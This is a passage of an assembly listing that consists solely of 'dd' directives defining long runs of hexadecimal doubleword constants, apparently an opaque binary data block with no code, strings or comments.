		dd 0ECD073Fh, 0A3BDAD4Dh, 73F006EDh, 0C6004EE7h, 96336D5Fh
		dd 350AACCh, 0A5CA117Ch, 1884369h, 520058F2h, 5F2B3526h
		dd 679722h, 0F8CCDFDh, 3669DF16h, 0AC173801h, 0FA297293h
		dd 144A870h, 4A925D95h,	20328870h, 4E49C99Ch, 0CA8C0F28h
		dd 0ECCDA7BDh, 34E5BC50h, 1F980291h, 9FA05007h,	8154958Ah
		dd 0B21605F0h, 81001528h, 0A612F5ECh, 20FB0055h, 6CDAD0A1h
		dd 8100B932h, 0A2D573F6h, 1EC0B284h, 4FA54F27h,	24C01056h
		dd 0A35492F2h, 1C621424h, 0F3235500h, 71EDE3h, 0FCE55FECh
		dd 43CC208Fh, 0DC800900h, 794D88A4h, 1BEA3BC0h,	220E8A01h
		dd 34781174h, 2E056818h, 95E61925h, 679EF460h, 15BF00C0h
		dd 47264F8h, 0AC00EFA8h, 7DB6EE52h, 0CA2ECFh, 848109E2h
		dd 3C54D32Dh, 0F603F775h, 1D1A839Fh, 73D5A0BCh,	0CFF869h
		dd 8FAC64Fh, 386C8DFBh,	18F0F103h, 0D181F84Dh, 5CE8B062h
		dd 45F0728h, 0C0F20216h, 0CAD943C2h, 0F7612907h, 91E0DB8Ah
		dd 3DBCE5CBh, 0EF005DC6h, 2B3D856Fh, 0FB007CAAh, 72B029BBh
		dd 1179654h, 0A74D1F64h, 0FC5056EEh, 0F01D5DBAh, 8826A2A8h
		dd 8E69F580h, 80C029h, 0FA4CF1D6h, 324BAEB9h, 91000698h
		dd 44332473h, 1D0E6734h, 0C013F665h, 2C9F7EA1h,	9DF64840h
		dd 0D3109B0Eh, 0ECD92ABEh, 80F0F484h, 0FF3F2D80h, 9898A074h
		dd 53840082h, 95B9BC14h, 913BFD63h, 3000F99Dh, 0D3C5F62Eh
		dd 0FB40CEh, 77A1CA35h,	8A1E31E2h, 0F8040600h, 51AEEE54h
		dd 0EC9C005Ah, 0B565C601h
		dd 0B80055D7h, 73CDA143h, 226202Fh, 192BB1BFh, 0FC404FC3h
		dd 74269EF9h, 9A892802h, 7C49005Dh, 34FACCAh, 1AE49DB7h
		dd 20009084h, 0C23B926Eh, 36AF20h, 1F3CBCF4h, 72CA9DE6h
		dd 0C6DB7D04h, 7C801C2Fh, 12245C7Ah, 4FFBB07h, 0D0F9533Ch
		dd 0EA8A340h, 0B62E6F00h, 2DA25D16h, 3D16B821h,	304C14E1h
		dd 0BFE2CC01h, 0DC9DCDCFh, 1F07D562h, 0FF07762Ah, 0F01811E0h
		dd 0BBB40EA1h, 25A72190h, 3831F0E4h, 0B000D81Fh, 62224379h
		dd 183FD55Fh, 28EFA015h, 0F100A977h, 507DC5A4h,	6F3932h
		dd 761B5417h, 0EEF3E8AEh, 0AC181900h, 0FD0644A8h, 7D651E9Eh
		dd 0A2124033h, 16E53FA4h, 7975A000h, 0FF12E13h,	8E6C32AFh
		dd 0D0403909h, 9100D3BAh, 8AE19CFAh, 0E87CE0h, 0DB3E850Bh
		dd 0B37E4C59h, 649248h,	87F1441Ah, 180F37h, 9FC55B11h
		dd 0B0CDA4C2h, 82B7A006h, 0FA404107h, 1A1B007Fh, 4BDDF80Fh
		dd 76009F49h, 168A432Fh, 0EC082E38h, 4EF60777h,	10ADF05Bh
		dd 0B280E270h, 81AA503Fh, 6AF1D512h, 1CD889CCh,	0EE9A019Fh
		dd 0FF30529Dh, 0D42BE4BEh, 4A61DB03h, 0F9C38892h, 32D8B415h
		dd 0C9371E29h, 90469850h, 7972FC12h, 0AAD7C00h,	47741188h
		dd 1CEF0010h, 890C84A4h, 0D100FBF7h, 394CC164h,	345601D5h
		dd 8022B8AEh, 43621DB5h, 9E6D639h, 3F2D041h, 0A82CC36Ch
		dd 0B255B9h, 0E4FA6405h, 0E0FE51BBh, 38985C31h,	40CA0922h
		dd 3DC3CE28h, 0CB30BCAAh, 1085C488h, 48BA9A0Ch,	0DDD0D4h
		dd 5DAED75Fh, 1F33826Eh, 96766000h, 5E672A68h, 0FC364840h
		dd 5366311Eh, 7192005Dh, 95C5B8E5h, 3DE7B200h, 78CD791Ah
		dd 683700D0h, 61115338h, 1DFEDFFAh, 604B9E00h, 0A4AA4C5Ch
		dd 9147BF7h, 0E1D66E0Ah, 0C3F8FC00h, 0B4003274h, 0B12B3182h
		dd 1EC0DA37h, 35A71A4Ch, 12A580C8h, 1F000F6Dh, 624A355Ah
		dd 3D9AE2h, 0B3FA2AEAh,	8F306C2Bh, 0BC2F8738h, 9E6B0FF3h
		dd 94A600FFh, 0DF518Ah,	0AC61CC56h, 0D50ADD34h,	13DCED48h
		dd 14300588h, 267C5259h, 4008C2h, 4BF2CCD3h, 8501DEB9h
		dd 0EBE42AD4h, 40F00FBEh, 0ED8A0978h, 188F5314h, 3C7BE660h
		dd 6724D9D1h, 0E013102Fh, 18E6045Fh, 0DA25A900h, 0B8D50Dh
		dd 14911162h, 5DF77D2h,	1C431807h, 0EFF054F0h, 0AD3FEh
		dd 97E65B0Dh, 65FA5AA4h, 5028CF00h, 1B116B14h, 2220099h
		dd 9362BA4Eh, 0E00B68Fh, 74FCB9EFh, 2D95DE3h, 825709D0h
		dd 30601FF3h, 85006DA1h, 32C8349Dh, 2FB6BBEh, 36F8710Eh
		dd 9EC12FB8h, 0C48BC8F3h, 5102BC01h, 0F51FA385h, 17E8D4h
		dd 532D1CFAh, 3938DA88h, 0F322401Ch, 94F41F01h,	8864B2A2h
		dd 0D9EC1C03h, 0A6340024h, 6C7F2E9Bh, 817D9801h, 0FDAC82D1h
		dd 67F5D4h, 0A2160D9Ah,	91760FFFh, 6450E600h, 23E5D362h
		dd 869800AFh, 693B3120h, 0D470FBEDh, 9A61F403h,	0A8161868h
		dd 170A4Fh, 828E0D95h, 3D3A675Dh, 0A6408B00h, 99D015B2h
		dd 9DEC1F43h, 42484062h, 73DAFEAAh, 1C240A0Fh, 99978027h
		dd 1AC705Ch, 2B5DA553h,	0DC695449h, 5F00C4CBh, 8B1D67B2h
		dd 48174814h, 0F30C1CB1h, 3221D4E8h, 0C20084ECh, 70F603DBh
		dd 0A81A29h, 0EBD0C56Fh, 0E926C6DEh, 2B006490h,	66B13DF9h
		dd 0FD7A5EC3h, 5D8DC8h,	0EED04E21h, 0A3148C57h,	0C403BE70h
		dd 0FFDF6833h, 9BCBF1h,	0B34AEE2Ah, 487430E9h, 0EA1CE50Ch
		dd 160290D1h, 60F7F833h, 15BB4478h, 0A9CEAF00h,	0C607E263h
		dd 2E030054h, 93A56E76h, 1300BDC3h, 0ED6527CAh,	39A3E9DEh
		dd 90006178h, 23876A32h, 0A900C826h, 3A377DDCh,	3818F0Fh
		dd 0E232085Eh, 0D800C662h, 0E699AE7Ch, 936D36h,	5F60D37Fh
		dd 81C98B34h, 4C2BA500h, 9701E375h, 0B8F40Ch, 0F32162BFh
		dd 997CB120h, 4E53CF00h, 0C240D998h, 0A8200EFh,	0C7AFE449h
		dd 2C00F16Eh, 0BBBC4E1Dh, 3CBFBE1h, 513F6856h, 0EEE57F8Fh
		dd 63F16100h, 0BDD6FB2h, 0A4F89324h, 0BC4D9800h, 0EE00F579h
		dd 0DCBBD7C4h, 1CA5DCBh, 3AF3E239h, 209945B7h, 0AD0F9B44h
		dd 0E2E5DA53h, 606269E3h, 24437097h, 93D78A7Bh,	0C70C1D75h
		dd 0F76B2023h, 0C09085DFh, 0E77A79EBh, 0ADC61700h, 4B13D7D6h
		dd 2479B002h, 9C009FDAh, 189ECEEAh, 0FCC807F2h,	0ADD47093h
		dd 0D9003C6Fh, 0DA036789h, 1FD80914h, 0C2BDAF51h, 553E0635h
		dd 74006050h, 0C9B4C893h, 1B5D27h, 108A0A4Ch, 0FF4A5FC7h
		dd 0B991D004h, 0CC80F743h, 189FD977h, 10F4C466h, 0FB1EC2D6h
		dd 9FB9CDA3h, 63867FB8h, 3400B79h, 9BE44375h, 0E5C01F9Eh
		dd 6101CDE0h, 2E3F7C5h,	0AC34A516h, 42EE81h, 0FA0C5551h
		dd 7F74759Fh, 0F3A13E1Fh, 79E7ACC0h, 0D2DFA5h, 0B0DA97C1h
		dd 4405BBE8h, 9FAD600h,	5893F819h, 2E7926h, 793AFC8Bh
		dd 5B43516Eh, 57B8E107h, 0BD5014D1h, 2354C7h, 0F8D3E3Ch
		dd 39FC7A99h, 5CA75100h, 94E54FB2h, 0BBE30062h,	14237987h
		dd 0D5008290h, 0F9C67454h, 0A9B793h, 7B1B9BB0h,	0C78D3CCCh
		dd 0D97D400h, 56E0A0AEh, 4D90F4h, 8742EDD7h, 0BA9C3CD2h
		dd 0E460709Ah, 0A4AFF4B0h, 323F0CACh, 8049B823h, 484AA906h
		dd 10C99Bh, 768C9990h, 0D388CDA7h, 75C33A0Fh, 0B1E102ECh
		dd 0B694809Eh, 3F437A8Ah, 718FF5AEh, 4447C148h,	20A740A5h
		dd 0D000E554h, 0F78B382Fh, 36DE18h, 415FB4CCh, 0B6E9CFFh
		dd 0C99F481Eh, 112C29Dh, 6178480Eh, 0C5EADC20h,	0D23420h
		dd 4CE5B933h, 6C705E97h, 32993400h, 277BC9A0h, 69A30125h
		dd 0A9A633F9h, 909AF8F6h, 1200FA76h, 68445EB1h,	0BC6DEDh
		dd 57E513B3h, 0FB58149Ch, 0B40F4Ch, 37B56FC0h, 7160E11h
		dd 69031502h, 0CE0CF068h, 400ECB0h, 0E25BFCAFh,	0C3126CAAh
		dd 91A6F28h, 18E83E90h,	0A388CB00h, 0FE2913F6h,	635D0084h
		dd 7F676112h, 0A77AD911h, 0CB0D1E00h, 426A87D3h, 0FC7B0744h
		dd 5F0C7EA6h, 251DCA60h, 0DB008FF3h, 86B9FA49h,	776A4Fh
		dd 0AE3096Dh, 1A31550h,	36FF78C0h, 3E5ADF54h, 76807B46h
		dd 0E341459Eh, 0FCB04D97h, 0D38018DDh, 0B27E9A1Eh, 0C4BF00D2h
		dd 0A86B9424h, 75E2C506h, 0A10060ECh, 0E6DF454Fh, 384B6B5h
		dd 3B7F92Dh, 13E0C363h,	0ABF4FB19h, 3F643600h, 23B3C553h
		dd 843D50A7h, 32890318h, 9EE23A0Ch, 0C234DDE8h,	7B421700h
		dd 0BBCA96C7h, 0D06439E3h, 0DFF7188Eh, 0FA4BB2AFh, 27D940A3h
		dd 2B393DD8h, 0F807DC00h, 3E9F65A3h, 0D088076Fh, 9B61166h
		dd 0F3623880h, 70BBC98h, 0A082A019h, 50F136Ch, 752D3A29h
		dd 72417A82h, 1FE24C62h, 0DC2F1440h, 0B8E21E00h, 208EF238h
		dd 0D0A3021Ch, 0C7330D67h, 64BADCE0h, 0AA1E1200h, 0E444A10h
		dd 1A8B4E8h, 69BEACCAh,	67D08043h, 1CAE4AF9h, 0C08B817h
		dd 6E10DB8h, 8B07B7F1h,	0E8F1510h, 54611CC0h, 0C04302D2h
		dd 33CA2D24h, 9EFC9C68h, 0B73244h, 672BAD40h, 0ECCD7C42h
		dd 11AFBF00h, 0B366F524h, 0FCC70E05h, 0FD403F48h, 192BB006h
		dd 0D4615B2Eh, 1B9E0900h, 90EF59h, 0EE9AD478h, 5554FE0Ch
		dd 0D8A8922Eh, 0D9B31600h, 0CD3BD8Ch, 215F10D7h, 0CE282489h
		dd 181FA896h, 2BA614Eh,	5D9ECDFBh, 22C7825h, 0EA1AD2EFh
		dd 0CE034694h, 0BFB8384Ch, 27B42682h, 88D014FEh, 0FBE83909h
		dd 61F81031h, 4E710F7Fh, 55E0D5BDh, 3BD2E0C6h, 666FB900h
		dd 6A5982B8h, 7EF33F8Ch, 0F8649F00h, 160FC839h,	502EFB00h
		dd 4A0CC9D8h, 0E01D0E79h
		dd 40A08609h, 417F9D99h, 495CC000h, 1F370517h, 3ACB8FFh
		dd 5A2A35B9h, 1900C163h, 8FF91557h, 0C51D6Ch, 0F0609C93h
		dd 338BD862h, 64051E00h, 403D89C6h, 91543B4Fh, 1B392Ch
		dd 11493E45h, 5000F44Ch, 583FA7A0h, 3184AFh, 410CFCC4h
		dd 0B17EF5F3h, 17B7E400h, 4E59C1EDh, 0F8251FA3h, 0E6190182h
		dd 2090C5C3h, 4DB0F428h, 79006976h, 1429017Dh, 9163E03h
		dd 57F8542Ch, 6DA62201h, 26A0722Bh, 0F700C09Ch,	1161DBD0h
		dd 9F1E0006h, 0BF7FCB62h, 78B0931Dh, 4E65140Ch,	73780Fh
		dd 0C1A3928Eh, 0B82ACE9Ch, 0B992800h, 4E31333h,	25D89851h
		dd 1C0FDF61h, 0BE2640FCh, 0F2DD40EDh, 4C009B76h, 0AF1488E3h
		dd 1FA23CB6h, 0C0FAC842h, 0F879DA52h, 8267A83h,	352C6471h
		dd 85362200h, 0FE41664Dh, 0F93339AAh, 0DC2FD8Eh, 2108A5A0h
		dd 760087A1h, 0F2E8D727h, 3DB932h, 0BC5FA41Fh, 7AFD3198h
		dd 19151730h, 7B7F1BAh,	8E16226Fh, 8DFC4054h, 0AE075E87h
		dd 48590FA6h, 0EBCF8339h, 0FE88006Bh, 5B260DEDh, 12011798h
		dd 36770BBAh, 0DBF17227h, 0B4C067ECh, 0AB1600FCh, 0FBF6D35Dh
		dd 5458F00h, 1F33FC4Bh,	0B90800A0h, 4D5F2780h, 0A400601Ch
		dd 0C1C620BFh, 49D01Ah,	3C42E244h, 88A597EEh, 0BD249D02h
		dd 0F09FD8CDh, 2C2A04C4h, 0B0D6B3F5h, 0C406F91Ch, 1B320F69h
		dd 0A4CB0110h, 716857CEh, 0CCE8F258h, 6C01D193h, 69DD9C90h
		dd 0AC24252Eh, 0C1100084h, 0CE239689h, 8E009ED8h, 1497BBF7h
		dd 0E904395h, 0A20CCA35h, 128F7B21h, 0E48840F4h, 700F187Fh
		dd 62DD7C8Ah, 0C0E5B8E6h, 914E394h, 0CD3AD5Eh, 44F46082h
		dd 0F97810h, 4C5027FBh,	51D7C054h, 8C44F000h, 0CA7E08B0h
		dd 6F95303Fh, 269F8248h, 0CBE7D60Bh, 0B474402Bh, 0EAB72C6Eh
		dd 3D440024h, 21DB8157h, 77C83800h, 4C751DD8h, 7DE41810h
		dd 7DDE141h, 0BBAB9203h, 0B1AA6493h, 9C3045D9h,	39DE0001h
		dd 0C2657C70h, 0DA48FB43h, 0A862053Bh, 5882B453h, 3E4781Ah
		dd 1F28CC2Fh, 33B18675h, 0F8CF897h, 6978A401h, 0B41B55C3h
		dd 7BF9920h, 9E8409A3h,	67B2919Ah, 5224C48Ah, 0EDEA7C00h
		dd 76695711h, 0E8A55196h, 3DBFE4E4h, 388F40F3h,	0ABE0742Ch
		dd 588CE85Ch, 1B4BD4Ch,	0EF7C5918h, 7100DD43h, 25064AD5h
		dd 0A0497587h, 0F22E0749h, 0A7C9A68Ch, 0E602C019h, 84A074FDh
		dd 0BD002522h, 0D3A829C2h, 359121Ch, 3B8CDF4Ch,	11A06066h
		dd 0CA3DCEF9h, 0A7229714h, 4D88B402h, 9D1E4045h, 0C48B0166h
		dd 3C99EB3Bh, 0E585C8D6h, 1D557112h, 12283C00h,	2CE207h
		dd 47D741B6h, 18A0F6FFh, 110060B0h, 5DAC8530h, 182CC24h
		dd 6667553Bh, 6048FDE3h, 601B338h, 1C7683A2h, 0D420512Ah
		dd 1BD900CDh, 8D59B2C2h, 0A8007553h, 0C05671F2h, 48683A76h
		dd 5A000F44h, 6BF17FA7h, 0DB0077CCh, 84788314h,	0B88D2723h
		dd 2A258B1h, 0E9633B0Fh, 2C864020h, 0AC0004F0h,	483C39F3h
		dd 9EE7F2D6h, 0EB917700h, 92F55880h, 0E200BC7Fh, 9E93F65Dh
		dd 965A6B09h, 8712059Ch, 5C64F0D6h, 0C6026E00h,	0D026D961h
		dd 4EB8089Ah, 0F00073C5h, 3629767Eh, 47120006h,	8A898338h
		dd 0D700E430h, 3CF58625h, 0C18D41D2h, 440B818h,	0B83C62h
		dd 51AD44F6h, 7E599679h, 75100009h, 5FE0AEABh, 0DC0067A8h
		dd 0C909BA7h, 0B27B3380h, 268303D0h, 0EE5DFD21h, 9CEAC209h
		dd 27F89011h, 8CCB00FBh, 160D8F05h, 0A3008ABFh,	3FCCAFE2h
		dd 3BC426B0h, 4C012279h, 34DCFF5Bh, 56D180D3h, 0D80FE031h
		dd 368407B1h, 66746A60h, 2700B0A6h, 35DC0664h, 28DE2395h
		dd 7E98A26Eh, 0A84F263h, 8F4EF161h, 0D34605B0h,	0BCB80EE2h
		dd 0D0190A04h, 126D20A0h, 0CF1D1500h, 0A1958259h, 0C20A0062h
		dd 465A058h, 9F16A7F3h,	989046D0h, 2CB011F5h, 3CFC43h
		dd 3AFA314Dh, 520B1F8Ah, 0E49944h, 0EA0CA094h, 19250011h
		dd 0D3E255CDh, 1E267CE5h, 0CE80601Ch, 3BAD1D37h, 9E26E6ECh
		dd 4740CF44h, 2D293A5Eh, 7A10B114h, 0AE5888h, 0E5F3AD2Bh
		dd 0A4A3F8h, 77C9F022h,	0BDCB2E39h, 40F19B25h, 84C7EF48h
		dd 0B860193Ch, 0EC860088h, 912919Ch, 2C6D007Eh,	850FA0FEh
		dd 25016E3Ch, 1710D013h, 65E00C6Fh, 0EFA022Ah, 0F47AB5E0h
		dd 85135444h, 64C0D663h, 542891h, 0DDF9CA2h, 2E25051h
		dd 95F78500h, 414A62F6h, 764E4E5h, 320C158Eh, 3E0800FCh
		dd 550A2985h, 0DCD3CF9Ah, 0FD452002h, 28B48081h, 1F1CD2D0h
		dd 0C2F3A6D7h, 3B2367D9h, 0AA80DCA0h, 0C03681Eh, 0B9E8A64Bh
		dd 8104BA31h, 1EA9BA10h, 79D5024h, 9FD99B32h, 41F047DAh
		dd 407FBA03h, 3BCA6910h, 3E006C4Eh, 0D525E636h,	391B0079h
		dd 8692D76Eh, 6607F6FAh, 0B9A4B2C6h, 0F34F0180h, 0E03300BEh
		dd 8CAFB17h, 0BA2825E3h, 56EC2CACh, 2F71942Eh, 55A07E00h
		dd 3E3685h, 0DD08E9A9h,	74B8C16Ch, 0B9D7BE02h, 0A407680Eh
		dd 0EC00AE70h, 0EBC4A671h, 563CB2E8h, 0ECFFC07Ch, 280300CFh
		dd 93FC9694h, 8C3F1C6Dh, 1AE98020h, 4F1D5F24h, 0DAA100D4h
		dd 0E6E530BCh, 0DD0017AAh, 94F783B5h, 51140Bh, 1A05D18Ah
		dd 0BEA0A2F9h, 0F8A18E00h, 6FCDB5F3h, 0FFE61278h, 0E18CC0B1h
		dd 340323A0h, 0D5EC4537h, 7B1B647h, 27F46CE8h, 5A8F7F25h
		dd 80CA54Ah, 964417D4h,	833A031h, 0F824A802h, 0E52843Eh
		dd 97530C88h, 14E7183Ch, 84EBBBD4h, 8EB8A58Ah, 31716A1h
		dd 38666C33h, 8C08213Ch, 5077BB59h, 0BAA440F7h,	1CA05271h
		dd 90073450h, 73C76C62h, 0C30AF383h, 6A3DC032h,	0BBD01860h
		dd 18F851B0h, 0BD5085F0h, 80F01508h, 1E10A544h,	0FDC52Ah
		dd 9424725Bh, 64A0CA45h, 0AC3EF38Eh, 924F77ADh,	0C4003C1Fh
		dd 0EC29DE20h, 53231C4Fh, 0DB588B42h, 83893680h, 310025ADh
		dd 57B2ABDCh, 360321h, 9F465D93h, 4BC64CB8h, 7C60B160h
		dd 0A330AC6Bh, 7003C594h, 6767F47h, 3C1A2428h, 843C20D1h
		dd 0E95798C1h, 0FE0A29h, 829FB33Fh, 8567919Bh, 0F16F9A74h
		dd 3FEA4721h, 93DFD270h, 0D3FE0045h, 0B66B3A5Ah, 0DC0C0F96h
		dd 0A1BB86C1h, 0BF5C1908h, 0C048B83Dh, 1A606B94h, 0A9406D11h
		dd 9017004Eh, 302FDE9Fh, 59000775h, 46D5C0B2h, 552CBFFh
		dd 6F69BD18h, 0DDF00ACh, 0DA7E89EDh, 3CB20800h,	4EBDE964h
		dd 0FD50003Bh, 8DB70BA8h, 0AE008C93h, 0E5AC0AFFh, 431ED5h
		dd 6DF6BD11h, 7A099D7h,	2FFE3Ah, 0DF0F5F20h, 345F528h
		dd 4073F483h, 0F680B5C4h, 64007959h, 6A8AC2A9h,	33604DFh
		dd 0CF6EBD89h, 0F46051C9h, 0DE5D1BB2h, 0CB8008Ch, 0C63E7B8Dh
		dd 300032D2h, 261049F1h, 7562C329h, 9B4002Bh, 0AB288050h
		dd 920020BBh, 4E7F4A43h, 3A19136h, 0D8E275AAh, 5588699Bh
		dd 77616E52h, 0A065DD18h, 0EC0A20BCh, 18CCBCh, 629DB944h
		dd 200099FFh, 3E0A9372h, 523D0Bh, 0FB06C49Eh, 5B275D85h
		dd 0BFBDE200h, 0E1022E5Ah, 3EF601F3h, 0DD872C2h, 5610E87Bh
		dd 0CE8014A7h, 0C97DF295h, 0A188C0B2h, 0F7BA39ACh, 9E2AE400h
		dd 0F60EEE97h, 55D3011Fh, 0F4A5D7FCh, 85A98164h, 0E924A017h
		dd 6327FBC8h, 7636184Bh, 0DC9A2100h, 6C34E20Fh,	7AF50051h
		dd 9F73D149h, 0E126D433h, 0E9006AFBh, 0F0D864ACh, 0E5723A0Ah
		dd 0D59E5D0Eh, 1365E120h, 1E03F90Eh, 0E747D6FCh, 0A5A90CA1h
		dd 486966ECh, 0FCA4D555h, 4915C239h, 5B44EC9h, 630AEE4Dh
		dd 4F5224C1h, 59DFC0EBh
		dd 0E19200C9h, 8C95FDD9h, 0B0003CD6h, 22602A82h, 0E17DAFBh
		dd 0A8F874F2h, 0CFD84D80h, 0A5E477CEh, 3C61EE28h, 1CBA1F22h
		dd 406B92A2h, 0E2976360h, 11E61B4h, 0BB0CE4E0h,	98A710DFh
		dd 621E2AFh, 19C8054Bh,	0EC6F084Ch, 0E04FEF21h,	512DD58Ah
		dd 217EE7h, 2AC6C36h, 28DBD73Eh, 81C7E800h, 8761B006h
		dd 0BB33001Eh, 3D0F44D4h, 0B8000D6Eh, 2586ACA2h, 3AEAACAh
		dd 627917BAh, 0C9F024D8h, 0B100E750h, 9F3B1901h, 148642D2h
		dd 54EAE01Ch, 3A343580h, 871B21h, 0DB34FD7Dh, 0D90131A3h
		dd 0A1CA24E2h, 218CBC4Eh, 5CA10D82h, 29C84900h,	0BDDBCAC2h
		dd 0A0F41908h, 7001288Ah, 5E00E3E4h, 65CC02F7h,	0E420DC23h
		dd 4EF42Fh, 0EE0CFAEh, 578371B5h, 0CA3B0301h, 0BFE51CEDh
		dd 0DF876880h, 7CDDC0Bh, 0A4EC3D00h, 0E355EE9Ch, 0C3B6016Dh
		dd 0D4DB5E61h, 8199BF98h, 9B1B8B19h, 86D199AEh,	0B78A188Ch
		dd 10C71C1Ah, 85856554h, 1513007h, 5BFD69D0h, 0BFD10019h
		dd 0B237212Ch, 0AE033D89h, 0D8BD6244h, 0F54071B6h, 3AD69FCh
		dd 5188E2BAh, 693BCDE9h, 0F8A480C1h, 8EBAE42h, 87C669Bh
		dd 0B40068F7h, 0D4A4645Bh, 999E01h, 81A3633Dh, 0A28DB5BAh
		dd 0BDB60801h, 873B27D0h, 3D81880h, 0FCAB4E0h, 2DB80B54h
		dd 3591921Fh, 0AD470CC5h, 54C7CDC3h, 8CD54881h,	0FF343604h
		dd 91622321h, 34FE7E20h, 3F94EA81h, 9526A4CEh, 80E0399Dh
		dd 18B6D55h, 2A9898C1h,	1B00A0F7h, 2360EB15h, 1AB13918h
		dd 0B67306Ch, 75749C10h, 0DCED4E07h, 5F6053A0h,	98369BA2h
		dd 3F900059h, 59718322h, 0A57DB45Dh, 0D466AF00h, 6CCE08EAh
		dd 2A4A039Eh, 9AFF9339h, 0F47726E0h, 3A133D1Dh,	7132AC07h
		dd 0A50780FFh, 5989E9h,	26772B54h, 4D95F169h, 17F9BF00h
		dd 9BB34BD2h, 0ADBE00F5h, 29A9EA81h, 6C0F8BD6h,	0AA53B111h
		dd 0C17D046Bh, 838A654Ah, 13466E10h, 0C7EDE0B0h, 274400C6h
		dd 5EDA0EB3h, 0AC00C96Ah, 6EB6B9EEh, 0C345FB1h,	0FAD3EC69h
		dd 0D940DA29h, 0BA580166h, 0AA393FD5h, 20AE884h, 56642700h
		dd 2623D11Eh, 0E9B20151h, 7AB9382Dh, 0B6DFF8AAh, 0A80006E0h
		dd 9E30F5C9h, 32B21Dh, 8C758369h, 7FA35A71h, 0F7FD9303h
		dd 88A5D99Ah, 0F8763E5h, 85A0A78Bh, 0A3764C20h,	70003C5Eh
		dd 8906D22Ch, 3892C243h, 200537Bh, 504C47B7h, 0D9005ACEh
		dd 24E66FFCh, 928B98h, 0E47BB669h, 0BA834D75h, 6FE949C0h
		dd 0E539AAh, 534199B9h,	0A5C72F6Dh, 0C6CB4500h,	67DCDD90h
		dd 22EED5h, 835D770Ch, 0D1B82D18h, 4309E402h, 60D5BF1Eh
		dd 0C1DFB6h, 0F3EEB81h,	7221856h, 7C96DB03h, 0B0C3ED30h
		dd 39F315h, 2C57913Fh, 0F47B09B0h, 0EC006D70h, 1E0E276Eh
		dd 126355EFh, 1D1A2C89h, 3164875Dh, 0BEDB302Dh,	8F000DCEh
		dd 42D39E61h, 58DA688Bh, 3C002F90h, 3E6BB58Ah, 4A0057A1h
		dd 131F1AE3h, 7C715EB8h, 0B374FCh, 7DC418C3h, 8EB02B61h
		dd 0FA454700h, 8DAD0AFEh, 7CAE27Ah, 0AA7CB73Ch,	8EE0DE44h
		dd 0A5E82DBAh, 76CEA203h, 0DBA8C11Eh, 0BB48002Eh, 620D6591h
		dd 0B6009457h, 72D70C9Fh, 23D841h, 0D01F6C38h, 0C41B5D98h
		dd 0AFF07C01h, 8FEC778h, 1C5441FAh, 611B3F0h, 0B2A7A2Bh
		dd 0FE03581Ah, 0C56D194Eh, 6120C0EDh, 0B4820071h, 69378C3Ch
		dd 0D70073DEh, 542EBCBEh, 0E2C0407Dh, 0ECCA006Dh, 5867381Ah
		dd 78003E2Ah, 0B8FF01F9h, 7D7F00Dh, 0F804ABA7h,	57AE10E3h
		dd 909088A6h, 0FE3C2F00h, 0C11DEEEFh, 0E6FE2Ah,	6C0B42A5h
		dd 34BB86FFh, 9E7D3000h, 87AAFE8Ch, 8B120104h, 4FC7B993h
		dd 0BD92CCE2h, 3200DEEAh, 69473709h, 593EAEBh, 3B0DE145h
		dd 0C80C80F5h, 9E001CC9h, 1972A190h, 0A4F6FAh, 2F46C761h
		dd 9583059Ah, 64592100h, 2667A6B0h, 0C45F6D7h, 93D5BDAAh
		dd 3B0121B0h, 49BA82F1h, 0A080992Bh, 0DD86241Dh, 1001033h
		dd 0B8F63A1Bh, 540452A5h, 7179640Ch, 0BCC95269h, 0B8A5A707h
		dd 0C59FF06Bh, 4A14BB4Dh, 0C1E854CAh, 0FB57FC32h, 4DC2B5D0h
		dd 2B0030A6h, 43EF1D38h, 5001753Ah, 77948D54h, 1ECCCA19h
		dd 58B400A3h, 300E6081h, 840A8021h, 0D8C39CD0h,	98B7528Ah
		dd 1D206B80h, 713D6FA3h, 769FACBh, 39CDF55Fh, 1B18429Dh
		dd 0B8B8D843h, 34EDA24Eh, 5DF69870h, 0E4A78500h, 117C2715h
		dd 0BDE824C1h, 402894h,	561D1267h, 0B76D9CE2h, 17873500h
		dd 703B249Bh, 382F0733h, 80BD1F65h, 71CE1C8Bh, 0F9457A00h
		dd 0E335C6C5h, 0FCC40309h, 5E49F08h, 1200897Eh,	1032B811h
		dd 0F9C9C0h, 84070199h,	1533B686h, 8375D501h, 0D31EBCBFh
		dd 10C4D050h, 0FECDFAFEh, 3C09070Ch, 0D0551D39h, 0B8912F22h
		dd 0A2DAF900h, 2578F58Ch, 0A4A90E07h, 0E00AAFC9h, 3DA089FCh
		dd 658F5400h, 98E01499h, 0CD55FC2Ch, 0A0603E12h, 9A5E21ECh
		dd 6E800A74h, 50B8A901h, 7B58311Fh, 55161D91h, 0CDBBD00h
		dd 0D18F22h, 7CBF7AF4h,	0C59B4C5Fh, 6B338D0Ah, 5E00BC54h
		dd 0C902EEBBh, 538B1839h, 6438E08Ah, 811D9000h,	0C4793549h
		dd 37DFA50h, 4C71015Fh,	96D1FF7Bh, 870DD197h, 842D7F28h
		dd 0D88F24B0h, 7A341A52h, 0CEC3E8F4h, 0B8A01E8Ah, 905042F7h
		dd 2A033DE4h, 0BCFCD827h, 185C98C8h, 9B4500F2h,	0ECD94108h
		dd 9D051FAEh, 399EC16Ah, 0DBD238C0h, 0BA71015Ah, 94CECD42h
		dd 208ED96Eh, 4C004444h, 0FFCC9004h, 6959Ch, 0EDFDE009h
		dd 7CBD9894h, 3A4B6C04h, 98800BE5h, 5CFB807h, 4EC31A57h
		dd 37DC0026h, 61F35055h, 73067B00h, 0F428A1F8h,	64EB0017h
		dd 1AD811Eh, 0BD540B27h, 88E4DCE8h, 883B1480h, 48021B03h
		dd 0FC90804h, 87D4699Fh, 3CD18C41h, 0A43B44Ch, 481F9F93h
		dd 0DEBD40A8h, 0EF03A3D7h, 7C8868A7h, 76A2DF05h, 0A5D88456h
		dd 0E4805D30h, 90B29924h, 0A3810880h, 54E0EBF0h, 0C0B81Dh
		dd 0A0B341ABh, 5986077Fh, 4AA12F0Ch, 0FAED809Ah, 0C37A2638h
		dd 31A78228h, 0CCE12DEh, 0AD7FEB73h, 1C851609h,	48A81AFAh
		dd 342F04Ch, 0DA04F32Ch, 0D18BD829h, 80005D8Bh,	248AC3EAh
		dd 7924BDEh, 6B6773B0h,	35DD1159h, 955BC0A8h, 0B3573600h
		dd 7606BB75h, 6F541E4Fh, 7B91C0E3h, 41853556h, 511A341Eh
		dd 0B4689E00h, 0C0BD13CAh, 1B36711h, 5012E52h, 0AA5ADE8Fh
		dd 0A074C5C6h, 0A4D24CAEh, 6F4D7C0Ch, 927145F9h, 233C3E00h
